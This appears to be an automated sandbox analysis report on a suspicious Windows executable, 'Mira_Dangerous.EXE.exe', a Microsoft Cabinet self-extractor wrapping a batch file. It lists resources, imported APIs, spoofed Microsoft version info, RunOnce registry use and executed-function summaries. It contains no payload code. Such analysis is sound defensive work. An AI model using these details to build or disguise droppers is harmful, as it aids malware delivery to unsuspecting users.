RT_ICON	0x1528c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x157f4	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x231c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x25770	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x26818	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x271a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_DIALOG	0x27608	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x278fc	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x27aac	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x27c14	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x27dd4	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x27f04	0x120	data	English	United States	0.5763888888888888
RT_STRING	0x28024	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x280b0	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x285d0	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x28b9c	0x4b0	data	English	United States	0.385
RT_STRING	0x2904c	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x29498	0x3ce	data	English	United States	0.36858316221765913
RT_RCDATA	0x29868	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x29870	0xae3	Microsoft Cabinet archive data, Windows 2000/XP setup, 2787 bytes, 1 file, at 0x2c +A "MIRA_D~1.BAT", ID 896, number 1, 1 datablock, 0x1503 compression	English	United States	1.00394689630427
RT_RCDATA	0x2a354	0x4	data	English	United States	3.0
RT_RCDATA	0x2a358	0x24	data	English	United States	0.7222222222222222
RT_RCDATA	0x2a37c	0x95	ASCII text, with no line terminators	English	United States	0.7785234899328859
RT_RCDATA	0x2a414	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2a41c	0x4	data	English	United States	3.0
RT_RCDATA	0x2a420	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2a428	0x4	data	English	United States	3.0
RT_RCDATA	0x2a42c	0xd	ASCII text, with no line terminators	English	United States	1.6153846153846154
RT_RCDATA	0x2a43c	0x4	data	English	United States	3.0
RT_RCDATA	0x2a440	0x5	ASCII text, with no line terminators	English	United States	2.6
RT_RCDATA	0x2a448	0x32	data	English	United States	1.02
RT_RCDATA	0x2a47c	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x2a484	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x2a540	0x408	data	English	United States	0.42151162790697677
RT_MANIFEST	0x2a948	0x7e6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.37734915924826906

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, LoadLibraryExA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, WaitForSingleObject, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, ExpandEnvironmentStringsA, LocalAlloc, lstrcmpA, FindNextFileA, GetCurrentProcess, FindFirstFileA, GetModuleFileNameA, GetShortPathNameA, Sleep, GetStartupInfoW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, GetTickCount, EnumResourceLanguagesA, GetDiskFreeSpaceA, MulDiv, FindClose
GDI32.dll	GetDeviceCaps
USER32.dll	ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetSystemMetrics, CallWindowProcA, SetWindowTextA, MessageBoxA, SendDlgItemMessageA, SendMessageA, GetDlgItem, DialogBoxIndirectParamA, GetWindowLongPtrA, SetWindowLongPtrA, SetForegroundWindow, ReleaseDC, EnableWindow, CharNextA, LoadStringA, CharPrevA, EndDialog, MessageBeep, ExitWindowsEx, SetDlgItemTextA, CharUpperA, GetDesktopWindow, PeekMessageA, GetDlgItemTextA
msvcrt.dll	?terminate@@YAXXZ, _commode, _fmode, _acmdln, __C_specific_handler, memset, __setusermatherr, _ismbblead, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, _XcptFilter, memcpy_s, _vsnprintf, _initterm, memcpy
COMCTL32.dll
Cabinet.dll
VERSION.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA

Version Infos

Description	Data
CompanyName	Microsoft Corporation
FileDescription	Win32 Cabinet Self-Extractor
FileVersion	11.00.19041.1 (WinBuild.160101.0800)
InternalName	Wextract
LegalCopyright	Microsoft Corporation. All rights reserved.
OriginalFilename	WEXTRACT.EXE .MUI
ProductName	Internet Explorer
ProductVersion	11.00.19041.1
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

• Mira_Dangerous.EXE.exe

Click to jump to process

Memory Usage

• Mira_Dangerous.EXE.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Target ID:	0
Start time:	23:30:09
Start date:	20/04/2025
Path:	C:\Users\user\Desktop\Mira_Dangerous.EXE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Mira_Dangerous.EXE.exe"
Imagebase:	0x7ff7a8cc0000
File size:	160'256 bytes
MD5 hash:	12BD30174702410955D46C23054A0FE6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage

Dynamic/Packed Code Coverage

Signature Coverage

Execution Coverage:	29.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	41.5%
Total number of Nodes:	915
Total number of Limit Nodes:	21

Callgraph

Hide Legend

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF7A8CC40C4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 371
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7A8CC4154
CompareStringA.KERNEL32 ref: 00007FF7A8CC421B

Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5078
Part of subcall function 00007FF7A8CC5050: SizeofResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5089
Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50AF
Part of subcall function 00007FF7A8CC5050: LoadResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50C0
Part of subcall function 00007FF7A8CC5050: LockResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50CF
Part of subcall function 00007FF7A8CC5050: memcpy_s.MSVCRT ref: 00007FF7A8CC50EE
Part of subcall function 00007FF7A8CC5050: FreeResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50FD

CompareStringA.KERNEL32 ref: 00007FF7A8CC4313
GetProcAddress.KERNEL32 ref: 00007FF7A8CC43AF
FreeLibrary.KERNEL32 ref: 00007FF7A8CC4480
LocalFree.KERNEL32 ref: 00007FF7A8CC44B0
FreeLibrary.KERNEL32 ref: 00007FF7A8CC44D3
LocalFree.KERNEL32 ref: 00007FF7A8CC44E2

Strings

USRQCMD, xrefs: 00007FF7A8CC41E3
REBOOT, xrefs: 00007FF7A8CC4123
wextract_cleanup0, xrefs: 00007FF7A8CC4636, 00007FF7A8CC46F9
POSTRUNPROGRAM, xrefs: 00007FF7A8CC42D4
RUNPROGRAM, xrefs: 00007FF7A8CC4244
SHOWWINDOW, xrefs: 00007FF7A8CC4178
DoInfInstall, xrefs: 00007FF7A8CC43A5, 00007FF7A8CC4526
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC43E6, 00007FF7A8CC46B3
Mira, xrefs: 00007FF7A8CC43CE
<None>, xrefs: 00007FF7A8CC41FD, 00007FF7A8CC42F5
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF7A8CC46C9
advpack.dll, xrefs: 00007FF7A8CC4579
ADMQCMD, xrefs: 00007FF7A8CC41D2
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF7A8CC4605

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$Free$CompareFindLibraryLocalString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DoInfInstall$Mira$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$Software\Microsoft\Windows\CurrentVersion\RunOnce$USRQCMD$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 2679723528-2018640329
Opcode ID: 8509239b70171e5e8f30f25a201f846f3f354706cd48434738ed3a295e3e973f
Instruction ID: 7ebe1029317d2bf56a6ce9fe6e5f409da95dc0eec2ffacdead92587e05b09bee
Opcode Fuzzy Hash: 8509239b70171e5e8f30f25a201f846f3f354706cd48434738ed3a295e3e973f
Instruction Fuzzy Hash: 460293F1A0A64286E720AF10E8406B9FBA0FB84744FD661B5DA4D436B4DF3CD549CF28

Function 00007FF7A8CC1D28 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 183
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7A8CC1D6A
memset.MSVCRT ref: 00007FF7A8CC1D78
RegCreateKeyExA.KERNELBASE ref: 00007FF7A8CC1DBA

Part of subcall function 00007FF7A8CC114C: _vsnprintf.MSVCRT ref: 00007FF7A8CC1189

RegQueryValueExA.KERNELBASE ref: 00007FF7A8CC1E0F
RegCloseKey.ADVAPI32 ref: 00007FF7A8CC1E2E
GetSystemDirectoryA.KERNEL32 ref: 00007FF7A8CC1E4C
LoadLibraryA.KERNELBASE ref: 00007FF7A8CC1E6E
GetProcAddress.KERNEL32 ref: 00007FF7A8CC1E90
FreeLibrary.KERNELBASE ref: 00007FF7A8CC1EA9
GetSystemDirectoryA.KERNEL32 ref: 00007FF7A8CC1EC5
LocalAlloc.KERNEL32 ref: 00007FF7A8CC1F21
GetModuleFileNameA.KERNEL32 ref: 00007FF7A8CC1F64
RegCloseKey.ADVAPI32 ref: 00007FF7A8CC1F7D
RegSetValueExA.KERNELBASE ref: 00007FF7A8CC1FED
RegCloseKey.KERNELBASE ref: 00007FF7A8CC1FFE
LocalFree.KERNEL32 ref: 00007FF7A8CC200D

Strings

wextract_cleanup%d, xrefs: 00007FF7A8CC1DD6
DelNodeRunDLL32, xrefs: 00007FF7A8CC1E86
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC1EEC
wextract_cleanup0, xrefs: 00007FF7A8CC1DE2, 00007FF7A8CC1DFD, 00007FF7A8CC1FD2
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF7A8CC1FAE
advpack.dll, xrefs: 00007FF7A8CC1E58
%s /D:%s, xrefs: 00007FF7A8CC1F99
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF7A8CC1D8A

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-3765599613
Opcode ID: b299ff31df0d2b05a6531c91114b9e5cd943ed9aaaacf04066293d09cb26884f
Instruction ID: 397c2550042197c3ed55f229b7a899685b17b9451ead3de382eb000f81054a2d
Opcode Fuzzy Hash: b299ff31df0d2b05a6531c91114b9e5cd943ed9aaaacf04066293d09cb26884f
Instruction Fuzzy Hash: FC8194B2A09B4186E710AF11E8542B9F7A0FB89B54FC661B2D94E43764DF3CD509CB18

Function 00007FF7A8CC66C4 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5078
Part of subcall function 00007FF7A8CC5050: SizeofResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5089
Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50AF
Part of subcall function 00007FF7A8CC5050: LoadResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50C0
Part of subcall function 00007FF7A8CC5050: LockResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50CF
Part of subcall function 00007FF7A8CC5050: memcpy_s.MSVCRT ref: 00007FF7A8CC50EE
Part of subcall function 00007FF7A8CC5050: FreeResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50FD

LocalAlloc.KERNEL32 ref: 00007FF7A8CC6710
lstrcmpA.KERNEL32 ref: 00007FF7A8CC67AF
LocalFree.KERNEL32 ref: 00007FF7A8CC67D6
LocalFree.KERNEL32 ref: 00007FF7A8CC678D

Part of subcall function 00007FF7A8CC4DCC: LoadStringA.USER32 ref: 00007FF7A8CC4E60
Part of subcall function 00007FF7A8CC4DCC: MessageBoxA.USER32 ref: 00007FF7A8CC4EA0

Part of subcall function 00007FF7A8CC7700: GetLastError.KERNEL32 ref: 00007FF7A8CC7704

GetTempPathA.KERNEL32 ref: 00007FF7A8CC6862
GetDriveTypeA.KERNEL32 ref: 00007FF7A8CC68FE
GetFileAttributesA.KERNEL32 ref: 00007FF7A8CC691B
GetDiskFreeSpaceA.KERNEL32 ref: 00007FF7A8CC6973
MulDiv.KERNEL32 ref: 00007FF7A8CC6996
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7A8CC6A0A
GetFileAttributesA.KERNEL32 ref: 00007FF7A8CC6A2F
CreateDirectoryA.KERNEL32 ref: 00007FF7A8CC6A47
SetFileAttributesA.KERNEL32 ref: 00007FF7A8CC6A77
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7A8CC6AE3

Part of subcall function 00007FF7A8CC7AC8: FindResourceA.KERNEL32 ref: 00007FF7A8CC7AF2
Part of subcall function 00007FF7A8CC7AC8: LoadResource.KERNEL32 ref: 00007FF7A8CC7B09
Part of subcall function 00007FF7A8CC7AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF7A8CC7B3F
Part of subcall function 00007FF7A8CC7AC8: FreeResource.KERNEL32 ref: 00007FF7A8CC7B51

Strings

A:\, xrefs: 00007FF7A8CC68AD
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC684F
msdownld.tmp, xrefs: 00007FF7A8CC6A16
Z, xrefs: 00007FF7A8CC68EE
<None>, xrefs: 00007FF7A8CC67A5
RUNPROGRAM, xrefs: 00007FF7A8CC66F8, 00007FF7A8CC6759

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$Free$AttributesDirectoryFileFindLoadLocal$Windows$AllocCreateDialogDiskDriveErrorIndirectLastLockMessageParamPathSizeofSpaceStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 3973824516-3855382519
Opcode ID: d6c8b5fd4d55c6658b4f1a5334f7fcaaca393b8f8d38eb7b9bd80be6ad316fe1
Instruction ID: 6658dcddf36018200883cd2f6c4dea38dbb651c7598e70d1f445f31af8c034bc
Opcode Fuzzy Hash: d6c8b5fd4d55c6658b4f1a5334f7fcaaca393b8f8d38eb7b9bd80be6ad316fe1
Instruction Fuzzy Hash: 8BD1D8B2A1A64286EB50AF20D51067AF7A0FF85740FD260B9DA4D436B5DF3DD405CF24

Function 00007FF7A8CC2DB4 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7A8CC2E08
memset.MSVCRT ref: 00007FF7A8CC2E1C

Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5078
Part of subcall function 00007FF7A8CC5050: SizeofResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5089
Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50AF
Part of subcall function 00007FF7A8CC5050: LoadResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50C0
Part of subcall function 00007FF7A8CC5050: LockResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50CF
Part of subcall function 00007FF7A8CC5050: memcpy_s.MSVCRT ref: 00007FF7A8CC50EE
Part of subcall function 00007FF7A8CC5050: FreeResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50FD

CreateEventA.KERNEL32 ref: 00007FF7A8CC2E59
SetEvent.KERNEL32 ref: 00007FF7A8CC2E6F
CreateMutexA.KERNEL32 ref: 00007FF7A8CC2F06
GetLastError.KERNEL32 ref: 00007FF7A8CC2F22
FindResourceExA.KERNEL32 ref: 00007FF7A8CC2FEE
LoadResource.KERNEL32 ref: 00007FF7A8CC3005

Part of subcall function 00007FF7A8CC3BF4: GetVersionExA.KERNEL32 ref: 00007FF7A8CC3C3F

#17.COMCTL32 ref: 00007FF7A8CC301D
CloseHandle.KERNEL32 ref: 00007FF7A8CC2F88

Part of subcall function 00007FF7A8CC4DCC: LoadStringA.USER32 ref: 00007FF7A8CC4E60
Part of subcall function 00007FF7A8CC4DCC: MessageBoxA.USER32 ref: 00007FF7A8CC4EA0

Strings

EXTRACTOPT, xrefs: 00007FF7A8CC2E86
VERCHECK, xrefs: 00007FF7A8CC2FE4
TITLE, xrefs: 00007FF7A8CC2E37
INSTANCECHECK, xrefs: 00007FF7A8CC2EE0
Mira, xrefs: 00007FF7A8CC2E30, 00007FF7A8CC2F38
, xrefs: 00007FF7A8CC2F6F

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$FindLoad$CreateEventmemset$CloseErrorFreeHandleLastLockMessageMutexSizeofStringVersionmemcpy_s
String ID: $EXTRACTOPT$INSTANCECHECK$Mira$TITLE$VERCHECK
API String ID: 3100096412-1777076177
Opcode ID: 1e1f08e9617b55e2358bcf68bebb50a442f06fc450e3a76ad8f9db5257c5e185
Instruction ID: d34cc9abadb038e5d5eac065ab806bb3f53cb6aad58231b1ca5695357389e7ba
Opcode Fuzzy Hash: 1e1f08e9617b55e2358bcf68bebb50a442f06fc450e3a76ad8f9db5257c5e185
Instruction Fuzzy Hash: FD819CF1A0A64286F760BB25B8003BAEA90FF84745FC260B5D94D426B4DF7CE445CF28

Function 00007FF7A8CC6CA4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 215
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32 ref: 00007FF7A8CC6CEE
SetCurrentDirectoryA.KERNELBASE ref: 00007FF7A8CC6CFD
GetDiskFreeSpaceA.KERNELBASE ref: 00007FF7A8CC6D6C
MulDiv.KERNEL32 ref: 00007FF7A8CC6D98
GetVolumeInformationA.KERNELBASE ref: 00007FF7A8CC6DD6
memset.MSVCRT ref: 00007FF7A8CC6DF4
GetLastError.KERNEL32 ref: 00007FF7A8CC6E04
FormatMessageA.KERNEL32 ref: 00007FF7A8CC6E2F
SetCurrentDirectoryA.KERNEL32 ref: 00007FF7A8CC6FDD

Part of subcall function 00007FF7A8CC4DCC: LoadStringA.USER32 ref: 00007FF7A8CC4E60
Part of subcall function 00007FF7A8CC4DCC: MessageBoxA.USER32 ref: 00007FF7A8CC4EA0

Part of subcall function 00007FF7A8CC7700: GetLastError.KERNEL32 ref: 00007FF7A8CC7704

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC6CBA

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 4237285672-2312194364
Opcode ID: 6e762584361d752baa37747b7a7dbfb637054f2efd45ef9d1ea5ad97e5778722
Instruction ID: 9484d76a55dfd7f00ec2027dbaa58a9074d233afc16a8fce40354a341699e11a
Opcode Fuzzy Hash: 6e762584361d752baa37747b7a7dbfb637054f2efd45ef9d1ea5ad97e5778722
Instruction Fuzzy Hash: 6FA1B7B6A1A74187E720AF24E5406BAFBA0FB89744F856179EA4D03B64CF3CD409CF14

Function 00007FF7A8CC5D90 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5078
Part of subcall function 00007FF7A8CC5050: SizeofResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5089
Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50AF
Part of subcall function 00007FF7A8CC5050: LoadResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50C0
Part of subcall function 00007FF7A8CC5050: LockResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50CF
Part of subcall function 00007FF7A8CC5050: memcpy_s.MSVCRT ref: 00007FF7A8CC50EE
Part of subcall function 00007FF7A8CC5050: FreeResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50FD

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC3300), ref: 00007FF7A8CC5DC0
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC3300), ref: 00007FF7A8CC5DD1
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC3300), ref: 00007FF7A8CC5DE0
GetDlgItem.USER32 ref: 00007FF7A8CC5E0D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC3300), ref: 00007FF7A8CC5E1E
GetDlgItem.USER32 ref: 00007FF7A8CC5E36
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC3300), ref: 00007FF7A8CC5E4A
#20.CABINET ref: 00007FF7A8CC5EBD
#22.CABINET ref: 00007FF7A8CC5F03
#23.CABINET ref: 00007FF7A8CC5F18
FreeResource.KERNEL32 ref: 00007FF7A8CC5F61
SendMessageA.USER32 ref: 00007FF7A8CC5FC3

Strings

*MEMCAB, xrefs: 00007FF7A8CC5EF4
CABINET, xrefs: 00007FF7A8CC5D9D, 00007FF7A8CC5DB7

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 33af6c9407e7061855ebb592c3b8b842de52abeaee4983045e05688ac2eae533
Instruction ID: e58877a55ee4e30d79ef3474b1777db79248c36c7010dc93a10364c25904191e
Opcode Fuzzy Hash: 33af6c9407e7061855ebb592c3b8b842de52abeaee4983045e05688ac2eae533
